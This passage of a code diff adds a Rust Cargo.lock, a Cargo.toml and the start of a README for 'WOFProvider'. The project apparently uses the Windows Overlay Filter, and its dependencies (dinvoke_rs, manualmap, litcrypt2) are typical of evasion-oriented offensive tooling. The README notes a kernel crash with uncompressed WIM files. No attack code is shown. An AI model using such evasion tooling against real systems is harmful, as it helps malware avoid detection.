||||
checksum = "cdeb9d870516001442e364c5220d3574d2da8dc765554b4a617230d33fa58ef5"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.2.52"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cd4932aefd12402b36c60956a4fe0035421f544799057659ff86f923657aada3"
|
||||
dependencies = [
|
||||
"find-msvc-tools",
|
||||
"shlex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "cfg_aliases"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
||||
|
||||
[[package]]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37ea4847ec0d114fae274a228e2833c86b6a648e1e63d8e4824f8694ddb72c91"
|
||||
dependencies = [
|
||||
"cc",
|
||||
"dinvoke_data",
|
||||
"libc",
|
||||
"litcrypt2",
|
||||
"nanorand",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_data"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2ecf41e5fa8fc817a311b14a987da022bd09a048f27f039a6073241e514b6d81"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_overload"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "502bb57c39f39fc65ae58e4351013ef4cc9d29a0be245ac3d24b3b887f026636"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"windows",
|
||||
"winproc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_rs"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef4776f5b9e5d43bc5f897863bc9227979563a05a6cfdd05bc2a94e3cc510a7e"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"dinvoke_utils",
|
||||
"dmanager",
|
||||
"manualmap",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_utils"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "00c00029449d76f9db4104b2eb1ec122fb9127051803f567cd108e0c0d729719"
|
||||
dependencies = [
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dispatch2"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "89a09f22a6c6069a18470eb92d2298acf25463f14256d24778e1230d789a2aec"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dmanager"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "45e10972b361f6a0750f6767323e65030282429bb7b8a74f58af8a2a2708e7c3"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"rand",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86"
|
||||
dependencies = [
|
||||
"backtrace",
|
||||
"failure_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure_derive"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"synstructure",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "find-msvc-tools"
|
||||
version = "0.1.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f449e6c6c08c865631d4890cfacf252b3d396c9bcc83adb6623cdb02a8336c41"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "gimli"
|
||||
version = "0.32.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e629b9b98ef3dd8afe6ca2bd0f89306cec16d43d907889945bc5d6687f2f13c7"
|
||||
|
||||
[[package]]
|
||||
name = "hex"
|
||||
version = "0.4.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.180"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bcc35a38544a891a5f7c865aca548a982ccb3b8650a5b06d0fd33a10283c56fc"
|
||||
|
||||
[[package]]
|
||||
name = "litcrypt2"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4126aa57ac1b3dd20a5bc827a2972cdf74c619a4d6ae5660656408289e5bc60d"
|
||||
dependencies = [
|
||||
"lazy_static",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"rand",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.29"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "manualmap"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1ac5a950ad05bc0e1457e094c4787843b351901fe1511af38a6d95912dd157b1"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"os_info",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.8.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"
|
||||
dependencies = [
|
||||
"adler2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nanorand"
|
||||
version = "0.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3"
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.30.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"cfg-if",
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2"
|
||||
version = "0.6.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b7c2599ce0ec54857b29ce62166b0ed9b4f6f1a70ccc9a71165b6154caca8c05"
|
||||
dependencies = [
|
||||
"objc2-encode",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-cloud-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "73ad74d880bb43877038da939b7427bba67e9dd42004a18b809ba7d87cee241c"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-data"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b402a653efbb5e82ce4df10683b6b28027616a2715e90009947d50b8dd298fa"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-graphics"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-io-surface",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-image"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e5d563b38d2b97209f8e861173de434bd0214cf020e3423a52624cd1d989f006"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-location"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ca347214e24bc973fc025fd0d36ebb179ff30536ed1f80252706db19ee452009"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-text"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0cde0dfb48d25d2b4862161a4d5fcc0e3c24367869ad306b0c9ec0073bfed92d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-encode"
|
||||
version = "4.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33"
|
||||
|
||||
[[package]]
|
||||
name = "objc2-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"libc",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-io-surface"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-quartz-core"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-ui-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"objc2",
|
||||
"objc2-cloud-kit",
|
||||
"objc2-core-data",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
"objc2-core-image",
|
||||
"objc2-core-location",
|
||||
"objc2-core-text",
|
||||
"objc2-foundation",
|
||||
"objc2-quartz-core",
|
||||
"objc2-user-notifications",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-user-notifications"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "object"
|
||||
version = "0.37.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff76201f031d8863c38aa7f905eca4f53abbfa15f609db4277d44cd8938f33fe"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "os_info"
|
||||
version = "3.14.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e4022a17595a00d6a369236fdae483f0de7f0a339960a53118b818238e132224"
|
||||
dependencies = [
|
||||
"android_system_properties",
|
||||
"log",
|
||||
"nix",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
"objc2-ui-kit",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||
dependencies = [
|
||||
"zerocopy",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.105"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "535d180e0ecab6268a3e718bb9fd44db66bbbc256257165fc699dadf70d16fe7"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "provider"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"data",
|
||||
"dinvoke_rs",
|
||||
"hex",
|
||||
"litcrypt2",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.43"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "dc74d9a594b72ae6656596548f56f667211f8a97b3d4c3d467150794690dc40a"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_core"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustc-demangle"
|
||||
version = "0.1.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "56f7d92ca342cea22a06f2121d944b4fd82af56988c270852495420f961d4ace"
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "static_vcruntime"
|
||||
version = "2.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "954e3e877803def9dc46075bf4060147c55cd70db97873077232eae0269dc89b"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "1.0.109"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.114"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d4d107df263a3013ef9b1879b0df87d706ff80f65a86ea879bd9c31f9b307c2a"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "synstructure"
|
||||
version = "0.12.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"unicode-xid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.22"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-xid"
|
||||
version = "0.2.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.1+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
|
||||
|
||||
[[package]]
|
||||
name = "widestring"
|
||||
version = "0.4.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||
dependencies = [
|
||||
"winapi-i686-pc-windows-gnu",
|
||||
"winapi-x86_64-pc-windows-gnu",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi-i686-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||
|
||||
[[package]]
|
||||
name = "winapi-x86_64-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580"
|
||||
dependencies = [
|
||||
"windows-collections",
|
||||
"windows-core",
|
||||
"windows-future",
|
||||
"windows-numerics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-collections"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-link",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-future"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
"windows-threading",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.60.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.59.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-numerics"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-strings"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-threading"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winproc"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "979e07b33c6af27e5c454e42d1b946b403ec222e7bad52ef020820708e087b25"
|
||||
dependencies = [
|
||||
"bitflags 1.3.2",
|
||||
"failure",
|
||||
"widestring",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wof_provider"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"data",
|
||||
"dinvoke_rs",
|
||||
"litcrypt2",
|
||||
"provider",
|
||||
"static_vcruntime",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy"
|
||||
version = "0.8.33"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "668f5168d10b9ee831de31933dc111a459c97ec93225beb307aed970d1372dfd"
|
||||
dependencies = [
|
||||
"zerocopy-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy-derive"
|
||||
version = "0.8.33"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2c7962b26b0a8685668b671ee4b54d007a67d4eaf05fda79ac0ecf41e32270f1"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
@@ -0,0 +1,13 @@
|
||||
[package]
|
||||
name = "wof_provider"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
provider = { path = "provider" }
|
||||
data = { path = "data" }
|
||||
litcrypt2 = "=0.1.2"
|
||||
dinvoke_rs = "=0.2.1"
|
||||
|
||||
[build-dependencies]
|
||||
static_vcruntime = "2.0"
|
||||
@@ -0,0 +1,87 @@
|
||||
# WOFProvider
|
||||
|
||||
**Note**: Deploying an uncompressed WIM file (that is, created with `DISM` using the `/Compress:none` flag) will cause a **BSOD** on your machine when setting it as an external data source. Therefore, it is always recommended to compress the WIM file before deploying it. I leave the call stack related to the crash below in case anyone wants to investigate it:
|
||||
|
||||
```
|
||||
nt!ExAllocateFromNPagedLookasideList
|
||||
Wof!WimFSFAllocateReadCompletionContext+0x8f
|
||||
Wof!WimFSFAllocateReadCbReadParameters+0x1d
|
||||
Wof!WimFSFLoadResource+0x6e
|
||||
Wof!WimFSFLoadOffsetTableHash+0x33
|
||||
Wof!WimFSFAddFileOverlay+0x3cf
|
||||
Wof!WimFSFRemountWim+0x146
|
||||
nt!KxSwitchKernelStackCallout+0x2e
|
||||
nt!KiSwitchKernelStackContinue
|
||||
nt!KiExpandKernelStackAndCalloutOnStackSegment+0x2a3
|
||||
nt!KiExpandKernelStackAndCalloutSwitchStack+0x188
|
||||
nt!KeExpandKernelStackAndCalloutInternal+0x33
|
||||
nt!KeExpandKernelStackAndCalloutEx+0x1d
|
||||
Wof!WimFSFAcquireRundownAndRemount+0x7a
|
||||
Wof!WimCbUpgradeReparseData+0x8f
|
||||
Wof!WofPreFsctlSetExternalBacking+0x3a0
|
||||
Wof!WofPreFileSystemControlCallback+0x3a8
|
||||
FLTMGR!FltpPerformPreCallbacksWorker+0x58f
|
||||
FLTMGR!FltpPassThroughInternal+0xc0
|
||||
FLTMGR!FltpPassThrough+0x29f
|
||||
FLTMGR!FltpFsControl+0xe0
|
||||
nt!IopfCallDriver+0x5b
|
||||
nt!IofCallDriver+0x13
|
||||
nt!IopSynchronousServiceTail+0x1c5
|
||||
nt!IopXxxControlFile+0x99c
|
||||
nt!NtFsControlFile+0x5e
|
||||
nt!KiSystemServiceCopyEnd+0x25
|
||||
ntdll!NtFsControlFile+0x14
|
||||
KERNELBASE!DeviceIoControl+0x1cc
|
||||
KERNEL32!DeviceIoControlImplementation+0x75
|
||||
WofUtil!WofSetFileDataLocation+0x136
|
||||
```
|
||||
|
||||
